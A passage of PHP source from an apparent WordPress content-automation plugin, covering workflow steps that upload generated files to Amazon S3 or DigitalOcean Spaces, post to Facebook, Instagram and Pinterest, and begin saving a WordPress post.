                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (trim($aiomatic_Main_Settings['cloud_directory']) != '') {
                                                $s3_remote_path = trim(trim($aiomatic_Main_Settings['cloud_directory']), '/');
                                                $s3_remote_path = trailingslashit($s3_remote_path);
                                            }
                                            else
                                            {
                                                $s3_remote_path = '';
                                            }
                                            try 
                                            {
                                                $obj_arr = [
                                                    'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']),
                                                    'Key'    => $s3_remote_path . $file_name,
                                                    'Body'   => $post_template,
                                                    'Content-Length' => $filesize,
                                                    'ContentLength' => $filesize
                                                ];
                                                $obj_arr['ACL'] = 'public-read';
                                                $awsret = $s3->putObject($obj_arr);
                                                if(isset($awsret['ObjectURL']))
                                                {
                                                    $forms_data = array(
                                                        'post_type' => 'aiomatic_omni_file',
                                                        'post_title' => $file_name,
                                                        'post_content' => $awsret['ObjectURL'],
                                                        'post_status' => 'publish'
                                                    );
                                                    remove_filter('content_save_pre', 'wp_filter_post_kses');
                                                    remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                                    $forms_id = wp_insert_post($forms_data);
                                                    add_filter('content_save_pre', 'wp_filter_post_kses');
                                                    add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                                    if(is_wp_error($forms_id))
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file data), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file data: ' . $forms_id->get_error_message());
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    elseif($forms_id === 0)
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file to db), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file to db');
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    else 
                                                    {
                                                        $cat_arr = array($send_type);
                                                        wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type');
                                                        $uri = $awsret['ObjectURL'];
                                                        $urlComponents = parse_url($uri);
                                                        $key = ltrim($urlComponents['path'], '/');
                                                        update_post_meta($forms_id, 'local_id', $key);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('ok');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        $posts_inserted++;
                                                    }   
                                                }
                                                else
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (Amazon S3 error response decoding), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        continue;
                                                    }
                                                }
                                            } 
                                            catch (Exception $e) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 error uploading file), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            } 
                                        }
                                        elseif($send_type == 'digital')
                                        {
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 extension not loaded), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 digital_endpoint not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 digital_endpoint for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 cloud_user not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 cloud_user for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 digital_pass not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 digital_pass for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            $bucket_name = '';
                                            preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $bucket_name = $zmatches[1][0];
                                            }
                                            else
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (failed to parse Digital Ocean endpoint), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']));
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint']));
                                            try
                                            {
                                                $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass']));
                                                $s3 = new S3Client([
                                                    'version' => 'latest',
                                                    'region'  => 'us-east-1',
                                                    'endpoint' => $endpoint_plain_url,
                                                    'use_path_style_endpoint' => false,
                                                    'credentials' => $credentials
                                                ]);
                                            }
                                            catch(Exception $e)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 init failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (trim($aiomatic_Main_Settings['digital_directory']) != '') {
                                                $s3_remote_path = trim(trim($aiomatic_Main_Settings['digital_directory']), '/');
                                                $s3_remote_path = trailingslashit($s3_remote_path);
                                            }
                                            else
                                            {
                                                $s3_remote_path = '';
                                            }
                                            try 
                                            {
                                                $obj_arr = [
                                                    'Bucket' => trim($bucket_name),
                                                    'Key'    => $s3_remote_path . $file_name,
                                                    'Body'   => $post_template,
                                                    'Content-Length' => $filesize,
                                                    'ContentLength' => $filesize
                                                ];
                                                $obj_arr['ACL'] = 'public-read';
                                                $awsret = $s3->putObject($obj_arr);
                                                if(isset($awsret['ObjectURL']))
                                                {
                                                    $forms_data = array(
                                                        'post_type' => 'aiomatic_omni_file',
                                                        'post_title' => $file_name,
                                                        'post_content' => $awsret['ObjectURL'],
                                                        'post_status' => 'publish'
                                                    );
                                                    remove_filter('content_save_pre', 'wp_filter_post_kses');
                                                    remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                                    $forms_id = wp_insert_post($forms_data);
                                                    add_filter('content_save_pre', 'wp_filter_post_kses');
                                                    add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                                    if(is_wp_error($forms_id))
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file data), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file data: ' . $forms_id->get_error_message());
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    elseif($forms_id === 0)
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file to db), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file to db');
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    else 
                                                    {
                                                        $cat_arr = array($send_type);
                                                        wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type');
                                                        $uri = $awsret['ObjectURL'];
                                                        $urlComponents = parse_url($uri);
                                                        $key = ltrim($urlComponents['path'], '/');
                                                        update_post_meta($forms_id, 'local_id', $key);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('ok');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        $posts_inserted++;
                                                    }   
                                                }
                                                else
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (Amazon S3 error response decoding), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        continue;
                                                    }
                                                }
                                            } 
                                            catch (Exception $e) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 error uploading file), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            } 
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (unknown file location sent), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Unknown file location sent: ' . $send_type);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_facebook')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $post_link = $current_block['parameters']['post_link'];
                                        $post_link = aiomatic_replace_omniblocks_data($post_link, $current_keyword, $kiwis, $block_results);
                                        $page_to_post = $current_block['parameters']['page_to_post'];
                                        if ((empty($post_template) && empty($post_link))) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Facebook post data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Facebook post data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        if (empty($page_to_post))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Facebook page_to_post entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Facebook page_to_post entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $return_me = aiomatic_post_to_facebook($card_type_found, $post_template, $post_link, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_image_facebook')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $image_link = $current_block['parameters']['image_link'];
                                        $image_link = aiomatic_replace_omniblocks_data($image_link, $current_keyword, $kiwis, $block_results);
                                        $page_to_post = $current_block['parameters']['page_to_post'];
                                        if (empty($image_link))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Facebook image_link entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Facebook image_link entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        if (empty($page_to_post))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Facebook page_to_post entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Facebook page_to_post entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $return_me = aiomatic_post_image_to_facebook($card_type_found, $post_template, $image_link, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_image_instagram')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $image_link = $current_block['parameters']['image_link'];
                                        $image_link = aiomatic_replace_omniblocks_data($image_link, $current_keyword, $kiwis, $block_results);
                                        if (empty($image_link))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Instagram image_link entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Instagram image_link entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $return_me = aiomatic_post_image_to_instagram($card_type_found, $post_template, $image_link);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_image_pinterest')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $post_title = $current_block['parameters']['post_title'];
                                        $post_title = aiomatic_replace_omniblocks_data($post_title, $current_keyword, $kiwis, $block_results);
                                        $pin_me = $current_block['parameters']['pin_me'];
                                        $pin_me = aiomatic_replace_omniblocks_data($pin_me, $current_keyword, $kiwis, $block_results);
                                        $image_link = $current_block['parameters']['image_link'];
                                        $image_link = aiomatic_replace_omniblocks_data($image_link, $current_keyword, $kiwis, $block_results);
                                        $page_to_post = $current_block['parameters']['page_to_post'];
                                        if (empty($image_link))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Pinterest image_link entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Pinterest image_link entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        if (empty($page_to_post))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Pinterest page_to_post entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Pinterest page_to_post entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $return_me = aiomatic_post_image_to_pinterest($card_type_found, $post_template, $post_title, $pin_me, $image_link, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'save_post')
                                    {
                                        $my_post = array();
                                        $post_title = $current_block['parameters']['post_title'];
                                        $post_title = aiomatic_replace_omniblocks_data($post_title, $current_keyword, $kiwis, $block_results);
                                        $post_content = $current_block['parameters']['post_content'];
                                        $post_content = aiomatic_replace_omniblocks_data($post_content, $current_keyword, $kiwis, $block_results);
                                        $post_excerpt = $current_block['parameters']['post_excerpt'];
                                        $post_excerpt = aiomatic_replace_omniblocks_data($post_excerpt, $current_keyword, $kiwis, $block_results);
                                        if(isset($current_block['parameters']['post_slug']))
                                        {
                                            $post_slug = $current_block['parameters']['post_slug'];
                                            $post_slug = aiomatic_replace_omniblocks_data($post_slug, $current_keyword, $kiwis, $block_results);
                                        }
                                        else
                                        {
                                            $post_slug = '';
                                        }
                                        $strip_by_regex = $current_block['parameters']['content_regex'];
                                        $strip_by_regex = aiomatic_replace_omniblocks_data($strip_by_regex, $current_keyword, $kiwis, $block_results);
                                        $replace_regex = $current_block['parameters']['replace_regex'];
                                        $replace_regex = aiomatic_replace_omniblocks_data($replace_regex, $current_keyword, $kiwis, $block_results);
                                        if ($strip_by_regex !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $post_content);
                                                if($temp_cont !== NULL)
                                                {
                                                    $post_content = $temp_cont;
                                                }
                                            }
                                        }
            
                                        if (empty($post_title) && empty($post_content) && empty($post_excerpt)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty post title and content entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty post title and content entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '');
                                                continue;
                                            }
                                        }
                                        if(!empty($post_title))
                                        {
                                            $my_post['post_title'] = $post_title;
                                        }
                                        if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                        {
                                            preg_match_all('#<img[^>]*?src="([^"]*?)"[^>]*?>#', $post_content, $cfm);
                                            if(isset($cfm[1][0]))
                                            {
                                                foreach($cfm[1] as $timg)
                                                {
                                                    $show_url = '';
                                                    $localpath = aiomatic_copy_image_locally($timg);
                                                    if($localpath !== false)
                                                    {
                                                        $show_url = $localpath[0];
                                                    }
                                                    if(!empty($show_url))
                                                    {
                                                        $post_content = str_replace($timg, $show_url, $post_content);
                                                    }
                                                }
                                            }
                                        }
                                        if(!empty($post_content))
                                        {
                                            $my_post['post_content'] = $post_content;
                                            if(stristr($my_post['post_content'], '<pre><code><') !== false)
                                            {
                                                if (!isset($aiomatic_Main_Settings['pre_code_off']) || trim($aiomatic_Main_Settings['pre_code_off']) != 'on')
                                                {
                                                    $my_post['post_content'] = aiomatic_parse_pre_code_entities($my_post['post_content']);
                                                }
                                            }
                                        }
                                        if(!empty($post_excerpt))
                                        {
                                            $my_post['post_excerpt'] = $post_excerpt;
                                        }
                                        if(!empty($post_slug))
                                        {
                                            $my_post['post_name'] = sanitize_title($post_slug);
                                        }
                                        if (!empty($post_content) && isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                        {
                                            require_once(dirname(__FILE__) . "/res/swear.php");
                                            $my_post['post_content'] = aiomatic_filterwords($my_post['post_content']);
                                        }
                                        $featured_image = $current_block['parameters']['featured_image'];
                                        $featured_image = aiomatic_replace_omniblocks_data($featured_image, $current_keyword, $kiwis, $block_results);
                                        $post_user_name = $current_block['parameters']['post_author'];
                                        $post_user_name = aiomatic_replace_omniblocks_data($post_user_name, $current_keyword, $kiwis, $block_results);
                                        if($post_user_name == '%%random_user%%')
                                        {
                                            $randid = aiomatic_display_random_user();
                                            if($randid === false)
                                            {
                                                $my_post['post_author']               = aiomatic_randomName();
                                            }
                                            else
                                            {
                                                $my_post['post_author']               = $randid->ID;
                                            }
                                        }
                                        else
                                        {
                                            $userid = get_user_by('login', $post_user_name);
                                            if($userid !== false)
                                            {
                                                $my_post['post_author'] = $userid;
                                            }
                                            else
                                            {
                                                $my_post['post_author'] = $post_user_name;
                                            }
                                        }
                                        $post_status = $current_block['parameters']['post_status'];
                                        $post_status = trim($post_status);
                                        if(!empty($post_status))
                                        {
                                            $my_post['post_status'] = $post_status;
                                            if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] != 'on')
                                            {
                                                if($post_status == 'publish')
                                                {
                                                    $draft_me = true;
                                                    $my_post['post_status'] = 'draft';
                                                }
                                            }
                                        }
                                        $post_type = $current_block['parameters']['post_type'];
                                        $post_type = trim($post_type);
                                        if(!empty($post_type))
                                        {
                                            $my_post['post_type'] = $post_type;
                                        }
                                        $post_format = $current_block['parameters']['post_format'];
                                        $post_format = trim($post_format);
                                        $post_parent = $current_block['parameters']['post_parent'];
